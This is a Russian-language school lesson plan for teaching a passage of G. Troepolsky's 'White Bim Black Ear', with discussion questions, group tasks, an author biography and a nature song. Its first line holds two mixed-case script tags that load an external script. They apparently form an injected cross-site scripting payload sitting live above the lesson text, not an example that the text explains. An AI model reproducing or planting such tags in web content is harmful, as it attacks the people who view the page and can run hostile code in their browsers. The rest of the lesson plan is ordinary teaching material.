<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Дата:

урок 21

Тема урока:

Г.Троепольский.Белый Бим Черное

ухо (отрывок из повести)

Общие цели:

 Воспитывать в детях любовь  к природе, к  «братьям нашим меньшим» .

Подвести ребят к мысли об ответственности

каждого из нас за то. Что происходит вокруг.

Развивать художественный вкус детей

Результат обучения:

Ученики научатся работать с текстом,

анализировать стихотворение.

развивать устную речь школьников в связи с необходимостью пересказа событий рассказа, развивать читательские

умения при различных видах работы с текстом: 

Ключевые идеи

Любовь к природе, бережное отношение к природе.

Методы обучения:

Работа в парах, групповая работа

 Этапы работы

Деятельность  учителя

Деятельность  учеников

Организационный

момент

Приветствие. Деление на группы.«Круг радости»

Учител предлагает взяться за руки и хором произнести строчки стихотворения

Н.Бромлей.

Дети делятся на группы и желают соседу

справа и слева пожелания и садятся по группам.

Проверка

домашнего задания, актуализация знаний учащихся

пересказать рассказ «Золотой луг», стр. 116-118

Ученики пересказывают текст. Ученики

преодолевают языковой барьер через формирование лидерских качеств.

Постановка

цели урока

Проблемный

вопрос:

.Портрет Г.Троепольского.

2.Рисунок, на котором изображен Бим.

3. «Когда собаки теряют надежду,они умирают…

собаки умирают молча» (Г.Троепольский.)

4. Приглашение к размышлению:

А)Всегда ли человек имеет право называться

человеком?

Б)Кого в повести можно назвать этим гордым именем?

В)Каков я? Добр или жесток?

Г) Если бы со мною рядом был Бим, сберег бы

я его?

5.Повесть- небольшое по объему эпическое

размышление, в котором события воссоздаются достаточно подробно.

Мы знаем немало других подобных подвигов.

Памятника собакам, трудившимся на войне, пока нет. Ими спасены сотни  тысяч человек. И всегда, в любых ситуациях,

собака оставалась самым верным другом человека.

А всегда ли бывает верным,  преданным человек четвероногому другу?

Ответ на этот вопрос мы найдем, обратившись к повести.

Внимательно вслушивайтесь в ответы товарищей, смелее высказывайте свою точку зрения. Надеюсь, что мне придется

только обобщить ваши мысли и замечания.

1)Вы прочитали первые главы повести. Что вы почувствовали?

2)Понравился ли вам Бим до того, как вы узнали трагическую историю?

3)Прочитайте отрывок о детстве Бима.

4)Как, по-вашему, красив ли Бим? Что необычного в его внешности? Прочитайте об этом.

5)Каким мы видим Бима в 2 года? Оправдал ли он надежды хозяина?

6)Почему собака стала обладательницей таких качеств? Благодаря кому?

7)Расскажите о хозяине Бима и его методах воспитания

Послушать мысли и мнения учеников.

Осмысление

нового материала(реализация урока)

. Гавриил Николаевич Троепольский родился в селе

Новоспасовка Воронежской области в 1905 году. Умер в 1994.Его жизнь вместила

целую эпоху. Ему было 12 лет, когда произошла революция 1917 года. В 15 лет

столкнулся с бойней гражданской войны; в в 36 лет пережил Отечественную

войну. На его памяти и коллективизация, и страшная эпоха культа личности

Сталина, и нынешняя наша перестройка.

Агроном по образованию, Троепольский отдал

25 лет возделыванию воронежских земель. Когда ему было уже 48 лет, вышла его

первая книга «Записки агронома» , а потом он отдал предпочтение писательской

судьбе- его рабочим местом стал письменный стол. Мировую известность принесла

ему книга о Белом Биме, которую прочитали люди и в Европе, и в Японии, и в

Китае…

Повесть о Биме Автор назвал «трагическим

романом о собачьей жизни». Но более всего писателя, однако, интересуют люди.

На доске вывешивается вопрос урока: «Кто

виноват в гибели Бима?» 

О ком эти слова?

«Большая 

человеческая жалость и 

доброта  души  руководили ею….(Степановна)

Девочки 

дают характеристику Степановне(заботливая, искренняя, скромная)

«Есть скромные  люди с 

чистым  сердцем, незаметные  и 

маленькие, но с  огромной  душой..Иван Иванович(добрый, отзывчивый,

терпеливый, преданный)

Что вы 

можете  рассказать  о 

Биме? (паспорт  героя, синквэйн,

характеристика)

1) Работа по тексту 

- Откройте, пожалуйста, ребята, хрестоматию на странице 133. 

(Выборочное чтение) 

- Найдите и прочитайте, как встретила Степановна Ивана Ивановича? 

- Как отнёсся Иван Иванович к известию о пропаже Бима? 

- Обвинил ли он Степановну, что Бим пропал? 

(Работа по группам: мальчики анализируют поведение Ивана Ивановича, а девочки

– Степановны) 

3)Анализ прочитанного 

-Давайте, проследим, как Иван Иванович искал своего друга Бима? 

-Куда решил в первую очередь пойти Иван Иванович?(в карантинный участок) 

-Сколько дней прошло, как Бим ушёл от Толика? (3 дня) 

-В какой день попал Иван Иванович в карантинный участок? (в выходной) 

-Почему сторож не пускал Ивана Ивановича на участок? 

-Почему сторож смягчился и запустил Ивана Ивановича? 

-Ребята, как вы думаете, каким надеялся Иван Иванович увидеть Бима? 

-Какие люди помогали Ивану Ивановичу искать Бима? (добрые) 

4)Беседа по содержанию 

-Что было в душе у Ивана Ивановича, когда он шёл к фургону? (надежда) 

-Допускал ли он мысль, что Бим погиб? (нет) 

-Какую страшную картину увидел Иван Иванович в фургоне? 

(Просмотр

фрагмента гибели Бима) 

-Кто же виноват в гибели Бима? (плохие, жестокие люди) 

-Какая душа была у этих людей? (чёрствая) 

-Что же убило Бима? (равнодушие, чёрствость, предательство людей)

Работа 

по  вариантам:

1 вариант «Бим вошёл в  мою жизнь.Чем он же  взял?

2 вариант «Эх ,если бы  Бим был человеком..»

У человека  много  всяких  пороков, но самый  плохой

-равнодушие

Равнодушие-безучастное, лишённое интереса пассивное 

отношение  к  окружающему 

миру.

Это  состояние человека, в  котором он не  проявляет  интерес к чему либо.

Синонимы апатия, чёрствость ,безразличие, бессердечность, пассивность,  бездушие.

Обсуждение в группе.

Выступление спикера. Рассуждая, делают

выводы.

Дети учатся анализировать..

Закрепление

материала

   1 группа “Лучшие минуты Бима и его хозяина”

2 группа“Роль пейзажа в повести”

3 группа“Суровый мир, с которым столкнулся Бим”

2       группа“Кто помогал Биму? Что объединяет этих персонажей?” (Звучит музыка).

-Какие чувства у вас вызвала эта история? 

-Какой эпизод повести взволновал вас больше всего? 

-Почему повесть так названа? 

-Как бы вы поступили, если бы вы встретили в своей жизни Бима? 

- Бим прошел через многое за свою короткую четырехлетнюю жизнь: он 

познал доброту и нежность людей, учился сам этим человеческим качествам. И потому, пройдя через ад испытаний, он не утратил способности любить людей, не озлобился и все шел с единственным желанием найти своего друга... Он верил

нам, людям. 

Ученики  учатся критически мыслить.

Защищают постер.

Итог

урока.

Круг «От сердца к сердцу»

 Учащиеся вместе с учителем исполняют

«Песню о природе» И. Воронцовой под фонограмму.

Песня о природе

Природа, я иду к тебе                                                          

С душой и сердцем обнаженным.

Прими, пожалуйста, любя.

Хочу быть заново рожденным!       

Природа, матушка моя,

Твои исполню повеленья.                                            

 За все грехи прости меня –                                     

Возьми, как детку, на колени.

В объятиях живой воды

Хочу понять любовь вселенной,

Что согревает даже льды

И миру шлет свой свет нетленный.

Мне силы подари, Земля,

А чистый Воздух – откровенье!                                      

  И будут, в тишине звеня,

Слышны души моей капели.                          

Природа, матушка моя,                                      

Твои исполню повеленья.                                       

За все грехи прости меня –

Возьми, как детку, на колени

 Учащиеся вместе с учителем исполняют

«Песню о природе» И. Воронцовой под фонограмму.

Песня о природе

Рефлексия

Стратегия «Эссе»                                       

  Мои ощущения от урока .                                  

 Мои ощущения от произведения.                            

Что мне этот урок дал для жизни?

Написать эссе

Домашнее

задание

Выучить наизусть стихотворение.

Дети должны выучить  стихотворение.